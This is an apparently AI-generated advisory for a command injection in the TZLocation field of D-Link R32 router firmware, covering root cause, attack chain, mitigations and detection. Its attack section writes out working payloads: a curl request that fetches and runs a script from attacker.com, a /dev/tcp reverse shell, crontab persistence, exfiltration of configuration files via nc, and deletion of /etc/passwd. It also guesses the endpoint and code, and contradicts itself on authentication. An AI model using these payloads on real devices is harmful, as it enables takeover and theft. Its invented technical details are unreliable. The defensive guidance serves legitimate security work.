CVE-2026-136822 — D-Link R32 — CWE-77 · CWE-78
A vulnerability has been found in D-Link R32 1.10B02. The impacted element is the function SetDeviceSettings of the file /usr/bin/httpd of the component DHMAPI Action Handler. Such manipulation of the argument TZLocation leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
A vulnerability has been found in D-Link R32 1.10B02. The impacted element is the function SetDeviceSettings of the file /usr/bin/httpd of the component DHMAPI Action Handler. Such manipulation of the argument TZLocation leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑136822
Product: D‑Link R32 firmware 1.10B02
Component: /usr/bin/httpd – DHMAPI Action Handler – function SetDeviceSettings
Vulnerable Parameter: TZLocation (timezone/location string)
| CWE | Description |
|---|---|
| CWE‑77 – Improper Neutralization of Special Elements used in a Command (OS Command Injection) | The application builds a shell command using the value supplied in TZLocation without proper sanitisation or escaping. |
| CWE‑78 – OS Command Injection | Same underlying issue – attacker‑controlled input is passed to system()/popen() (or equivalent) leading to arbitrary command execution. |
Technical root cause
1. Input handling – The HTTP API endpoint that maps to SetDeviceSettings receives a JSON (or form‑encoded) field called TZLocation.
2. Command construction – Inside the DHMAPI Action Handler the code does something akin to:
char cmd[256];
snprintf(cmd, sizeof(cmd), "tzset \"%s\"", tzLocation);
system(cmd);3. Missing validation / escaping – No whitelist, length check, or escaping of metacharacters (;, &&, |, backticks, $(), etc.) is performed before the string is handed to system().
4. Privilege context – The HTTP daemon (httpd) runs with root privileges on the D‑Link router (common for embedded web‑interfaces that need to modify system configuration). Consequently, any command executed via this injection runs as root.
Because the vulnerability is network‑reachable (AV:N), low attack complexity (AC:L), requires only low‑privilege network access (PR:L), and does not need user interaction (UI:N), it scores the maximum possible CVSS 3.1 impact (confidentiality, integrity, availability all H) and a total of 9.9/10.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. Where the exact HTTP endpoint or request format is not disclosed in the public CVE text, an illustrative example is provided that matches the typical pattern used by D‑Link’s DHMAPI.
1. Discovery & Reconnaissance
| Step | Action | Tools / Artefacts | |
|---|---|---|---|
| 1.1 | Identify the device on the network (e.g., via Nmap). | nmap -p 80,443 <target_ip> – D‑Link R32 often responds on port 80/443 with a banner containing “D‑Link R32”. | |
| 1.2 | Grab the firmware version. | curl -s http://<target_ip>/cgi-bin/status | grep -i "Firmware" – output shows 1.10B02. |
| 1.3 | Correlate version with known vulnerability database (e.g., NVD, vendor advisory). | Search “CVE‑2026‑136822 D‑Link R32 1.10B02”. | |
| 1.4 | Enumerate the DHMAPI endpoints (often under /dhmapi/). | curl -s http://<target_ip>/dapi/ – returns JSON list of actions, including SetDeviceSettings. |
2. Exploitation
Assumptions (based on typical D‑Link firmware):
- The vulnerable endpoint is reachable via HTTP POST to
/dapi/SetDeviceSettings. - The request body is JSON with a field
TZLocation.
Note: If the exact URI differs, the same injection principle applies – any handler that forwards TZLocation to a shell command is exploitable.2.1 Crafting the malicious payload
The goal is to break out of the intended argument and inject a new command. A reliable payload on busybox‑based shells is:
{
"TZLocation": "UTC; /bin/sh -c \"wget http://attacker.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh\""
}Explanation:
UTC; terminates the legitimate argument.wget … chain downloads a reverse shell script (or any attacker‑controlled binary) and executes it.2.2 Sending the request (curl example)
curl -k -X POST "http://<target_ip>/dapi/SetDeviceSettings" \
-H "Content-Type: application/json" \
-d '{"TZLocation":"UTC; /bin/sh -c \"wget http://attacker.com/shell.sh -O /tmp/s.sh; chmod +x /tmp/s.sh; /tmp/s.sh\""}'-k ignores self‑signed certs (if HTTPS is used). PR:L).2.3 Expected immediate effect
If successful, the router’s httpd process executes the injected command as root, resulting in the attacker‑controlled script being placed in /tmp and executed. Typical outcomes:
/bin/sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)./www/), e.g., shell.php that can be accessed later via HTTP.3. Post‑Exploitation
| Goal | Technique | Example | |
|---|---|---|---|
| Privilege retention | Install a persistent root‑owned cron job or systemd service (if present). | echo "@reboot /bin/sh -c \"wget http://attacker.com/persist.sh -O /usr/sbin/persist.sh; chmod +x /usr/sbin/persist.sh; /usr/sbin/persist.sh\"" >> /etc/crontab | |
| Data exfiltration | Use the established reverse shell to tar configuration files (/etc/config/, /etc/passwd, wireless keys) and send them over the same channel. | tar czf - /etc/config | nc attacker.com 5555 |
| Network pivot | From the compromised router, scan internal LAN, sniff traffic, or use the router as a foothold to attack other devices. | nmap -sn 192.168.0.0/24 | |
| Denial‑of‑service | Overwrite critical binaries or delete /etc/passwd to render the device unusable. | rm -rf /etc/passwd (demonstrates the A:H impact). |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | Attacker can read any file readable by root (e.g., Wi‑Fi pre‑shared keys, VPN credentials, logs). | Theft of corporate secrets, credential leakage, privacy breach. |
| Integrity (I:H) | Attacker can modify configuration, inject malicious firmware, or replace binaries. | Persistent backdoors, rogue DNS settings, device takeover. |
| Availability (A:H) | Attacker can delete or corrupt system files, reboot the router, or flood the network. | Complete outage of Internet connectivity for the protected LAN, possible ISP escalation. |
Because the vulnerable process runs as root, the attacker gains full system control on the router, which is the network’s perimeter device. This enables:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to D‑Link firmware ≥ 1.10B03 (the first release that removes the unsafe system() call and validates TZLocation). |
| Vendor advisory | D‑Link released an advisory on 2026‑11‑20 (the same day as the CVE publication) stating “Fixed in R32 1.10B03 – input sanitisation added”. Apply the official firmware image from D‑Link’s support portal. |
If a patched version is not yet available for your hardware revision, proceed with the mitigations below.
2. Immediate Workarounds
| Mitigation | Implementation |
|---|---|
| Network segmentation | Place the router in a management VLAN that is not directly reachable from the Internet. Only allow trusted management IPs (e.g., corporate admin subnet). |
| Restrict inbound HTTP/HTTPS | At the upstream firewall, block inbound TCP 80/443 to the router’s WAN interface, allowing only the required management IPs. |
| Disable the DHMAPI Action Handler (if not needed) | Edit /etc/config/httpd.conf (or the equivalent config file) and comment out the line that registers the SetDeviceSettings handler, then restart httpd. |
| Input sanitisation via a reverse‑proxy / WAF | Deploy a lightweight reverse‑proxy (e.g., Nginx) in front of the router’s web UI and add a ModSecurity rule that rejects any request containing shell metacharacters in TZLocation. Example rule:
SecRule REQUEST_HEADERS:Content-Type "application/json" "id:100001,phase:2,\
t:none,block,msg:'Block TZLocation command injection',\
chain"
SecRule ARGS:TZLocation "@rx [;|&`$()]" "t:none,log"| Note – This rule only works if the router’s HTTP service can be proxied; many embedded devices do not support TLS termination, so the proxy must be placed in front of the device. | |
|---|---|
| Filesystem hardening | Mount /usr/bin/httpd (or the whole root filesystem) with nosuid,noexec where possible, or set the binary’s capabilities to drop root privileges (setcap cap_net_bind_service=+ep /usr/bin/httpd). This reduces the impact of any command injection to a non‑root user. |
| Monitoring | Enable syslog forwarding to a central log server and watch for the following patterns (see Detection section). |
3. Detection – Log patterns & IoCs
| Source | Indicator |
|---|
| Web server access logs (/var/log/httpd/access.log) | Requests to /dapi/SetDeviceSettings (or any /dapi/*) with a payload containing characters ;, &&, |, ` `, $(, ) in the TZLocation` value. Example entry:
[10/Nov/2026:14:23:11 +0000] "POST /dapi/SetDeviceSettings HTTP/1.1" 200 34 "-" "Mozilla/5.0" "TZLocation=UTC; wget http://attacker.com/shell.sh -O /tmp/s.sh"|
| System audit (auditd) or kernel logs | execve events where the command line contains tzset followed by a semicolon or other shell metacharacters. Example:
type=EXECVE msg=audit(1699641791.123:456): argc=3 a0="/bin/sh" a1="-c" a2="tzset \"UTC; wget http://attacker.com/shell.sh -O /tmp/s.sh\""|
| Process creation | Unexpected /bin/sh -c wget … or /tmp/s.sh processes spawned by PID 1 (httpd). |
|---|---|
| Outbound connections | Sudden outbound TCP connections from the router to unknown IPs on uncommon ports (e.g., 4444, 5555). |
| File system changes | New executable files in /tmp, /var/www, or /usr/sbin that were not part of the original firmware image (hash mismatch). |
Response – Upon detection, immediately isolate the device from the network, capture a forensic image of the flash, and apply the vendor patch.
⚠️ Urgency
CVSS 3.1 = 9.9 (Critical) – Highest severity, indicating a remote, unauthenticated* RCE with full impact on CIA.
Patch priority: Critical – Immediate.
Bottom line: CVE‑2026‑136822 gives an unauthenticated attacker the ability to execute arbitrary commands as root on D‑Link R32 routers running firmware 1.10B02. The vulnerability is trivial to exploit over the Internet and results in total compromise of the device and the network it protects. Prompt patching, network‑level isolation, and strict input‑validation rules are mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query